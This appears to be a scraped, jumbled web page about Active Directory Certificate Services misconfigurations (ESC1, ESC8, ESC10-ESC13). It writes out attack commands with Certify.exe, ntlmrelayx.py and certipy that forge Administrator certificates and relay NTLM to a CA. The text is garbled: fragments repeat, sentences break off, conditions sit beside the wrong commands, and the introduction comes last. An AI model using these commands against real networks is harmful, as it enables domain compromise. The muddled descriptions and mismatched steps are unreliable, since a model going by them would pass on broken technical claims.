Hacktricks Adcs Fixed May 2026

Certify.exe request /ca:DC.CONTOSO.LOCAL\CONTOSO-CA /template:User /altname:Administrator Condition : ADCS web enrollment interfaces ( /certsrv/ , /CertSrv/ , /certsrv/mscep/ ) are enabled and not configured with extended protection or HTTPS.

# Using PowerMad (Set-PKITemplate -Identity VulnTemplate -EnrolleeSuppliesSubject $true -AddEKUs @("Client Authentication")) Condition : CA is configured with EDITF_ATTRIBUTESUBJECTALTNAME2 flag. (Allows any requester to specify SAN.)

# Relay NTLM auth from a compromised host to ADCS ntlmrelayx.py -t http://ca.contoso.com/certsrv/certfnsh.asp -smb2support --adcs --template DomainController certipy relay -target http://ca.contoso.com -template DomainController hacktricks adcs

: Similar to ESC1, request a certificate for any user. ESC10 – Weak Authentication on CA Condition : CA’s authentication strength is set to low (e.g., Windows Integrated Auth without any additional protection).

: Relaying NTLM to CA endpoints (see ESC8). ESC11 – If the CA allows HTTP (instead of mandatory HTTPS) Same as ESC8. ESC12 – CA Holder Compromise (via AD CS Web Enrollment, no hardening) Allows remote attackers to capture NTLM hashes or relay authentication. ESC13 – Dangerous Certificate Template with Extra EKU that Enables Domain Controller Authentication Some templates include EKUs like “Domain Controller Authentication” (1.3.6.1.4.1.311.20.2.2) combined with low enrollment rights. Certify

(using ntlmrelayx.py from Impacket):

: Modify template to enable ESC1 conditions (e.g., allow SAN supply), then request as ESC1. ESC10 – Weak Authentication on CA Condition :

Introduction Active Directory Certificate Services (ADCS) is Microsoft’s PKI (Public Key Infrastructure) implementation. When integrated with Active Directory, ADCS enables certificate-based authentication, smart card logons, and encryption. However, misconfigurations in ADCS are notoriously common and can lead to domain compromise, privilege escalation, and persistence.